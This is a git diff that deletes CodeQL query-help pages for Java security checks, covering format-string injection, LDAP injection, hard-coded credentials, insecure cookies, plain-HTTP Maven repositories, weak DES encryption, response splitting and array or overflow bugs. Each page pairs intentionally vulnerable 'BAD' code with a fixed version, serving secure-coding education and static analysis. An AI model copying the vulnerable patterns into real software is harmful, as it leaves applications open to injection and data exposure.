--- a/docs/language/query-help/java/ExternallyControlledFormatString.md +++ /dev/null @@ -1,66 +0,0 @@ -# Use of externally-controlled format string - -``` -ID: java/tainted-format-string -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql) - -The `String.format` method and related methods, like `PrintStream.printf` and `Formatter.format`, all accept a format string that is used to format the trailing arguments to the format call by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain extra format specifiers that cause an exception to be thrown or information to be leaked. - -The Java standard library implementation for the format methods throws an exception if either the format specifier does not match the type of the argument, or if there are too few or too many arguments. If unsanitized input is used in the format string, it may contain invalid extra format specifiers which cause an exception to be thrown. - -Positional format specifiers may be used to access an argument to the format call by position. Unsanitized input in the format string may use a positional format specifier to access information that was not intended to be visible. For example, when formatting a Calendar instance we may intend to print only the year, but a user-specified format string may include a specifier to access the month and day. - - -## Recommendation -If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. - - -## Example -The following program is meant to check a card security code for a stored credit card: - - -```java -public class ResponseSplitting extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - Calendar expirationDate = new GregorianCalendar(2017, GregorianCalendar.SEPTEMBER, 1); - // User provided value - String cardSecurityCode = request.getParameter("cardSecurityCode"); - - if (notValid(cardSecurityCode)) { - - /* - * BAD: user provided value is included in the format string. - * A malicious user could provide an extra format specifier, which causes an - * exception to be thrown. Or they could provide a %1$tm or %1$te format specifier to - * access the month or day of the expiration date. - */ - System.out.format(cardSecurityCode + - " is not the right value. Hint: the card expires in %1$ty.", - expirationDate); - - // GOOD: %s is used to include the user-provided cardSecurityCode in the output - System.out.format("%s is not the right value. Hint: the card expires in %2$ty.", - cardSecurityCode, - expirationDate); - } - - } -} -``` -However, in the first format call it uses the cardSecurityCode provided by the user in a format string. If the user includes a format specifier in the cardSecurityCode field, they may be able to cause an exception to be thrown, or to be able to access extra information about the stored card expiration date. - -The second format call shows the correct approach. The user-provided value is passed as an argument to the format call. This prevents any format specifiers in the user provided value from being evaluated. - - -## References -* CERT Java Coding Standard: [IDS06-J. Exclude unsanitized user input from format strings](https://www.securecoding.cert.org/confluence/display/java/IDS06-J.+Exclude+unsanitized+user+input+from+format+strings). -* Java SE Documentation: [Formatting Numeric Print Output](https://docs.oracle.com/javase/tutorial/java/data/numberformat.html). -* Java API: [Formatter](https://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/java/HardcodedCredentialsApiCall.md b/docs/language/query-help/java/HardcodedCredentialsApiCall.md deleted file mode 100644 index f3dc3b3e161..00000000000 --- a/docs/language/query-help/java/HardcodedCredentialsApiCall.md +++ /dev/null @@ -1,44 +0,0 @@ -# Hard-coded credential in API call - -``` -ID: java/hardcoded-credential-api-call -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql) - -Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - - -## Example -The following code example connects to a database using a hard-coded user name and password: - - -```java -private static final String p = "123456"; // hard-coded credential - -public static void main(String[] args) throws SQLException { - String url = "jdbc:mysql://localhost/test"; - String u = "admin"; // hard-coded credential - - getConn(url, u, p); -} - -public static void getConn(String url, String v, String q) throws SQLException { - DriverManager.getConnection(url, v, q); // sensitive call -} - -``` -Instead, the user name and password could be supplied through environment variables, which can be set externally without hard-coding credentials in the source code. - - -## References -* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md b/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md deleted file mode 100644 index f78677d552a..00000000000 --- a/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md +++ /dev/null @@ -1,63 +0,0 @@ -# Improper validation of user-provided size used for array construction - -``` -ID: java/improper-validation-of-array-construction -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-129 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayConstruction.ql) - -Using unvalidated input when specifying the size of a newly created array can result in the creation of an array with size zero. If this array is subsequently accessed without further checks, an `ArrayIndexOutOfBoundsException` may be thrown, because there is no guarantee that the array is not empty. - -This problem occurs when user input is used as the size during array initialization, either directly or following one or more calculations. If the user input is unvalidated, it may cause the size of the array to be zero. - - -## Recommendation -The size used in the array initialization should be verified to be greater than zero before being used. Alternatively, the array access may be protected by a conditional check that ensures it is only accessed if the index is less than the array size. - - -## Example -The following program constructs an array with the size specified by some user input: - - -```java -public class ImproperValidationOfArrayIndex extends HttpServlet { - - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - try { - // User provided value - int numberOfItems = Integer.parseInt(request.getParameter("numberOfItems").trim()); - - if (numberOfItems >= 0) { - /* - * BAD numberOfItems may be zero, which would cause the array indexing operation to - * throw an ArrayIndexOutOfBoundsException - */ - String items = new String[numberOfItems]; - items[0] = "Item 1"; - } - - if (numberOfItems > 0) { - /* - * GOOD numberOfItems must be greater than zero, so the indexing succeeds. - */ - String items = new String[numberOfItems]; - items[0] = "Item 1"; - } - - } catch (NumberFormatException e) { } - } -} -``` -The first array construction is protected by a condition that checks if the user input is zero or more. However, if the user provides `0` as the `numberOfItems` parameter, then an empty array is created, and any array access would fail with an `ArrayIndexOutOfBoundsException`. - -The second array construction is protected by a condition that checks if the user input is greater than zero. The array will therefore never be empty, and the following array access will not throw an `ArrayIndexOutOfBoundsException`. - - -## References -* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). -* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayIndex.md b/docs/language/query-help/java/ImproperValidationOfArrayIndex.md deleted file mode 100644 index 8c3e03cb0b8..00000000000 --- a/docs/language/query-help/java/ImproperValidationOfArrayIndex.md +++ /dev/null @@ -1,64 +0,0 @@ -# Improper validation of user-provided array index - -``` -ID: java/improper-validation-of-array-index -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-129 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayIndex.ql) - -Using unvalidated input as part of an index into the array can cause the array access to throw an `ArrayIndexOutOfBoundsException`. This is because there is no guarantee that the index provided is within the bounds of the array. - -This problem occurs when user input is used as an array index, either directly or following one or more calculations. If the user input is unsanitized, it may be any value, which could result in either a negative index, or an index which is larger than the size of the array, either of which would result in an `ArrayIndexOutOfBoundsException`. - - -## Recommendation -The index used in the array access should be checked against the bounds of the array before being used. The index should be smaller than the array size, and it should not be negative. - - -## Example -The following program accesses an element from a fixed size constant array: - - -```java -public class ImproperValidationOfArrayIndex extends HttpServlet { - - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - String[] productDescriptions = new String[] { "Chocolate bar", "Fizzy drink" }; - - // User provided value - String productID = request.getParameter("productID"); - try { - int productID = Integer.parseInt(userProperty.trim()); - - /* - * BAD Array is accessed without checking if the user provided value is out of - * bounds. - */ - String productDescription = productDescriptions[productID]; - - if (productID >= 0 && productID < productDescriptions.length) { - // GOOD We have checked that the array index is valid first - productDescription = productDescriptions[productID]; - } else { - productDescription = "No product for that ID"; - } - - response.getWriter().write(productDescription); - - } catch (NumberFormatException e) { } - } -} -``` -The first access of the `productDescriptions` array uses the user-provided value as the index without performing any checks. If the user provides a negative value, or a value larger than the size of the array, then an `ArrayIndexOutOfBoundsException` may be thrown. - -The second access of the `productDescriptions` array is contained within a conditional expression that verifies the user-provided value is a valid index into the array. This ensures that the access operation never throws an `ArrayIndexOutOfBoundsException`. - - -## References -* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). -* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InfiniteLoop.md b/docs/language/query-help/java/InfiniteLoop.md deleted file mode 100644 index 38603c4dd6d..00000000000 --- a/docs/language/query-help/java/InfiniteLoop.md +++ /dev/null @@ -1,48 +0,0 @@ -# Loop with unreachable exit condition - -``` -ID: java/unreachable-exit-in-loop -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-835 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-835/InfiniteLoop.ql) - -Loops can contain multiple exit conditions, either directly in the loop condition or as guards around `break` or `return` statements. If an exit condition cannot be satisfied, then the code is misleading at best, and the loop might not terminate. - - -## Recommendation -When writing a loop that is intended to terminate, make sure that all the necessary exit conditions can be satisfied and that loop termination is clear. - - -## Example -The following example shows a potentially infinite loop, since the inner loop condition is constantly true. Of course, the loop may or may not be infinite depending on the behavior of `shouldBreak`, but if this was intended as the only exit condition the loop should be rewritten to make this clear. - - -```java -for (int i=0; i<10; i++) { - for (int j=0; i<10; j++) { - // do stuff - if (shouldBreak()) break; - } -} - -``` -To fix the loop the condition is corrected to check the right variable. - - -```java -for (int i=0; i<10; i++) { - for (int j=0; j<10; j++) { - // do stuff - if (shouldBreak()) break; - } -} - -``` - -## References -* Java Language Specification: [Blocks and Statements](http://docs.oracle.com/javase/specs/jls/se8/html/jls-14.html). -* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InformationLoss.md b/docs/language/query-help/java/InformationLoss.md deleted file mode 100644 index 6a8b110e398..00000000000 --- a/docs/language/query-help/java/InformationLoss.md +++ /dev/null @@ -1,33 +0,0 @@ -# Implicit narrowing conversion in compound assignment - -``` -ID: java/implicit-cast-in-compound-assignment -Kind: problem -Severity: warning -Precision: very-high -Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/InformationLoss.ql) - -Compound assignment statements of the form `x += y` or `x *= y` perform an implicit narrowing conversion if the type of `x` is narrower than the type of `y`. For example, `x += y` is equivalent to `x = (T)(x + y)`, where `T` is the type of `x`. This can result in information loss and numeric errors such as overflows. - - -## Recommendation -Ensure that the type of the left-hand side of the compound assignment statement is at least as wide as the type of the right-hand side. - - -## Example -If `x` is of type `short` and `y` is of type `int`, the expression `x + y` is of type `int`. However, the expression `x += y` is equivalent to `x = (short) (x + y)`. The expression `x + y` is cast to the type of the left-hand side of the assignment: `short`, possibly leading to information loss. - -To avoid implicitly narrowing the type of `x + y`, change the type of `x` to `int`. Then the types of `x` and `x + y` are both `int` and there is no need for an implicit cast. - - -## References -* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 9. Addison-Wesley, 2005. -* The Java Language Specification: [Compound Assignment Operators](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.26.2), [Narrowing Primitive Conversion](http://docs.oracle.com/javase/specs/jls/se7/html/jls-5.html#jls-5.1.3). -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureCookie.md b/docs/language/query-help/java/InsecureCookie.md deleted file mode 100644 index fcf5f9122a1..00000000000 --- a/docs/language/query-help/java/InsecureCookie.md +++ /dev/null @@ -1,46 +0,0 @@ -# Failure to use secure cookies - -``` -ID: java/insecure-cookie -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-614 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql) - -Failing to set the 'secure' flag on a cookie can cause it to be sent in cleartext. This makes it easier for an attacker to intercept. - - -## Recommendation -Always use `setSecure` to set the 'secure' flag on a cookie before adding it to an `HttpServletResponse`. - - -## Example -This example shows two ways of adding a cookie to an `HttpServletResponse`. The first way leaves out the setting of the 'secure' flag; the second way includes the setting of the flag. - - -```java -public static void test(HttpServletRequest request, HttpServletResponse response) { - { - Cookie cookie = new Cookie("secret", "fakesecret"); - - // BAD: 'secure' flag not set - response.addCookie(cookie); - } - - { - Cookie cookie = new Cookie("secret", "fakesecret"); - - // GOOD: set 'secure' flag - cookie.setSecure(true); - response.addCookie(cookie); - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). -* Java 2 Platform Enterprise Edition, v5.0, API Specifications: [Class Cookie](http://docs.oracle.com/javaee/5/api/javax/servlet/http/Cookie.html). -* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureDependencyResolution.md b/docs/language/query-help/java/InsecureDependencyResolution.md deleted file mode 100644 index eb39908ba75..00000000000 --- a/docs/language/query-help/java/InsecureDependencyResolution.md +++ /dev/null @@ -1,135 +0,0 @@ -# Failure to use HTTPS or SFTP URL in Maven artifact upload/download - -``` -ID: java/maven/non-https-url -Kind: problem -Severity: error -Precision: very-high -Tags: security external/cwe/cwe-300 external/cwe/cwe-319 external/cwe/cwe-494 external/cwe/cwe-829 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-829/InsecureDependencyResolution.ql) - -Using an insecure protocol like HTTP or FTP to download your dependencies leaves your Maven build vulnerable to a [Man in the Middle (MITM)](https://en.wikipedia.org/wiki/Man-in-the-middle_attack). This can allow attackers to inject malicious code into the artifacts that you are resolving and infect build artifacts that are being produced. This can be used by attackers to perform a [Supply chain attack](https://en.wikipedia.org/wiki/Supply_chain_attack) against your project's users. - -This vulnerability has a [ CVSS v3.1 base score of 8.1/10 ](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1). - - -## Recommendation -Always use HTTPS or SFTP to download artifacts from artifact servers. - - -## Example -These examples show examples of locations in Maven POM files where artifact repository upload/download is configured. The first shows the use of HTTP, the second shows the use of HTTPS. - - -```xml - - - - 4.0.0 - - com.semmle - parent - 1.0 - pom - - Security Testing - An example of insecure download and upload of dependencies - - - - insecure-releases - Insecure Repository Releases - - http://insecure-repository.example - - - insecure-snapshots - Insecure Repository Snapshots - - http://insecure-repository.example - - - - - insecure - Insecure Repository - - http://insecure-repository.example - - - - - insecure-plugins - Insecure Repository Releases - - http://insecure-repository.example - - - - -``` - -```xml - - - - 4.0.0 - - com.semmle - parent - 1.0 - pom - - Security Testing - An example of secure download and upload of dependencies - - - - insecure-releases - Secure Repository Releases - - https://insecure-repository.example - - - insecure-snapshots - Secure Repository Snapshots - - https://insecure-repository.example - - - - - insecure - Secure Repository - - https://insecure-repository.example - - - - - insecure-plugins - Secure Repository Releases - - https://insecure-repository.example - - - - -``` - -## References -* Research: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://medium.com/bugbountywriteup/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) -* Research: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/) -* Proof of Concept: [ mveytsman/dilettante ](https://github.com/mveytsman/dilettante) -* Additional Gradle & Maven plugin: [ Announcing nohttp ](https://spring.io/blog/2019/06/10/announcing-nohttp) -* Java Ecosystem Announcement: [ HTTP Decommission Artifact Server Announcements ](https://gist.github.com/JLLeitschuh/789e49e3d34092a005031a0a1880af99) -* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html). -* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). -* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html). -* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/java/IntMultToLong.md b/docs/language/query-help/java/IntMultToLong.md deleted file mode 100644 index 3de141c4a3b..00000000000 --- a/docs/language/query-help/java/IntMultToLong.md +++ /dev/null @@ -1,43 +0,0 @@ -# Result of multiplication cast to wider type - -``` -ID: java/integer-multiplication-cast-to-long -Kind: problem -Severity: warning -Precision: very-high -Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) - -An integer multiplication that is assigned to a variable of type `long` or returned from a method with return type `long` may cause unexpected arithmetic overflow. - - -## Recommendation -Casting to type `long` before multiplying reduces the risk of arithmetic overflow. - - -## Example -In the following example, the multiplication expression assigned to `j` causes overflow and results in the value `-1651507200` instead of `4000000000000000000`. - - -```java -int i = 2000000000; -long j = i*i; // causes overflow -``` -In the following example, the assignment to `k` correctly avoids overflow by casting one of the operands to type `long`. - - -```java -int i = 2000000000; -long k = i*(long)i; // avoids overflow -``` - -## References -* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 3. Addison-Wesley, 2005. -* The Java Language Specification: [Multiplication Operator](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.17.1). -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/LdapInjection.md b/docs/language/query-help/java/LdapInjection.md deleted file mode 100644 index 760de481db4..00000000000 --- a/docs/language/query-help/java/LdapInjection.md +++ /dev/null @@ -1,142 +0,0 @@ -# LDAP query built from user-controlled sources - -``` -ID: java/ldap-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-090 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-090/LdapInjection.ql) - -If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. - - -## Recommendation -If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible build the LDAP query using framework helper methods, for example from Spring's `LdapQueryBuilder` and `LdapNameBuilder`, instead of string concatenation. Alternatively, escape user input using an appropriate LDAP encoding method, for example: `encodeForLDAP` or `encodeForDN` from OWASP ESAPI, `LdapEncoder.filterEncode` or `LdapEncoder.nameEncode` from Spring LDAP, or `Filter.encodeValue` from UnboundID library. - - -## Example -In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP. - -The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. The LDAP query is executed using Java JNDI API. - -The second example uses the OWASP ESAPI library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. - - -```java -import javax.naming.directory.DirContext; -import org.owasp.esapi.Encoder; -import org.owasp.esapi.reference.DefaultEncoder; - -public void ldapQueryBad(HttpServletRequest request, DirContext ctx) throws NamingException { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // BAD: User input used in DN (Distinguished Name) without encoding - String dn = "OU=People,O=" + organizationName; - - // BAD: User input used in search filter without encoding - String filter = "username=" + userName; - - ctx.search(dn, filter, new SearchControls()); -} - -public void ldapQueryGood(HttpServletRequest request, DirContext ctx) throws NamingException { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // ESAPI encoder - Encoder encoder = DefaultEncoder.getInstance(); - - // GOOD: Organization name is encoded before being used in DN - String safeOrganizationName = encoder.encodeForDN(organizationName); - String safeDn = "OU=People,O=" + safeOrganizationName; - - // GOOD: User input is encoded before being used in search filter - String safeUsername = encoder.encodeForLDAP(username); - String safeFilter = "username=" + safeUsername; - - ctx.search(safeDn, safeFilter, new SearchControls()); -} -``` -The third example uses Spring `LdapQueryBuilder` to build an LDAP query. In addition to simplifying the building of complex search parameters, it also provides proper escaping of any unsafe characters in search filters. The DN is built using `LdapNameBuilder`, which also provides proper escaping. - - -```java -import static org.springframework.ldap.query.LdapQueryBuilder.query; -import org.springframework.ldap.support.LdapNameBuilder; - -public void ldapQueryGood(@RequestParam String organizationName, @RequestParam String username) { - // GOOD: Organization name is encoded before being used in DN - String safeDn = LdapNameBuilder.newInstance() - .add("O", organizationName) - .add("OU=People") - .build().toString(); - - // GOOD: User input is encoded before being used in search filter - LdapQuery query = query() - .base(safeDn) - .where("username").is(username); - - ldapTemplate.search(query, new AttributeCheckAttributesMapper()); -} -``` -The fourth example uses `UnboundID` classes, `Filter` and `DN`, to construct a safe filter and base DN. - - -```java -import com.unboundid.ldap.sdk.LDAPConnection; -import com.unboundid.ldap.sdk.DN; -import com.unboundid.ldap.sdk.RDN; -import com.unboundid.ldap.sdk.Filter; - -public void ldapQueryGood(HttpServletRequest request, LDAPConnection c) { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // GOOD: Organization name is encoded before being used in DN - DN safeDn = new DN(new RDN("OU", "People"), new RDN("O", organizationName)); - - // GOOD: User input is encoded before being used in search filter - Filter safeFilter = Filter.createEqualityFilter("username", username); - - c.search(safeDn.toString(), SearchScope.ONE, safeFilter); -} -``` -The fifth example shows how to build a safe filter and DN using the Apache LDAP API. - - -```java -import org.apache.directory.ldap.client.api.LdapConnection; -import org.apache.directory.api.ldap.model.name.Dn; -import org.apache.directory.api.ldap.model.name.Rdn; -import org.apache.directory.api.ldap.model.message.SearchRequest; -import org.apache.directory.api.ldap.model.message.SearchRequestImpl; -import static org.apache.directory.ldap.client.api.search.FilterBuilder.equal; - -public void ldapQueryGood(HttpServletRequest request, LdapConnection c) { - String organizationName = request.getParameter("organization_name"); - String username = request.getParameter("username"); - - // GOOD: Organization name is encoded before being used in DN - Dn safeDn = new Dn(new Rdn("OU", "People"), new Rdn("O", organizationName)); - - // GOOD: User input is encoded before being used in search filter - String safeFilter = equal("username", username); - - SearchRequest searchRequest = new SearchRequestImpl(); - searchRequest.setBase(safeDn); - searchRequest.setFilter(safeFilter); - c.search(searchRequest); -} -``` - -## References -* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). -* OWASP ESAPI: [OWASP ESAPI](https://owasp.org/www-project-enterprise-security-api/). -* Spring LdapQueryBuilder doc: [LdapQueryBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/query/LdapQueryBuilder.html). -* Spring LdapNameBuilder doc: [LdapNameBuilder](https://docs.spring.io/spring-ldap/docs/current/apidocs/org/springframework/ldap/support/LdapNameBuilder.html). -* UnboundID: [Understanding and Defending Against LDAP Injection Attacks](https://ldap.com/2018/05/04/understanding-and-defending-against-ldap-injection-attacks/). -* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md b/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md deleted file mode 100644 index a6a9a51f529..00000000000 --- a/docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md +++ /dev/null @@ -1,44 +0,0 @@ -# Use of a potentially broken or risky cryptographic algorithm - -``` -ID: java/potentially-weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. - - -## Example -The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```java -// BAD: DES is a weak algorithm -Cipher des = Cipher.getInstance("DES"); -cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); - -byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); - -// ... - -// GOOD: AES is a strong algorithm -Cipher des = Cipher.getInstance("AES"); - -// ... -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/NettyResponseSplitting.md b/docs/language/query-help/java/NettyResponseSplitting.md deleted file mode 100644 index e155167ef9a..00000000000 --- a/docs/language/query-help/java/NettyResponseSplitting.md +++ /dev/null @@ -1,72 +0,0 @@ -# Disabled Netty HTTP header validation - -``` -ID: java/netty-http-response-splitting -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-113 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/NettyResponseSplitting.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. - - -## Recommendation -Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. - - -## Example -The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. - - -```java -public class ResponseSplitting extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: setting a cookie with an unvalidated parameter - Cookie cookie = new Cookie("name", request.getParameter("name")); - response.addCookie(cookie); - - // GOOD: remove special characters before putting them in the header - String name = removeSpecial(request.getParameter("name")); - Cookie cookie2 = new Cookie("name", name); - response.addCookie(cookie2); - } - - private static String removeSpecial(String str) { - return str.replaceAll("[^a-zA-Z ]", ""); - } -} - -``` - -## Example -The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. - - -```java -import io.netty.handler.codec.http.DefaultHttpHeaders; - -public class ResponseSplitting { - // BAD: Disables the internal response splitting verification - private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); - - // BAD: Disables the internal response splitting verification - private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpResponse goodResponse = new DefaultHttpResponse(version, httpResponseStatus); -} - -``` - -## References -* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). -* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). -* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). -* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git 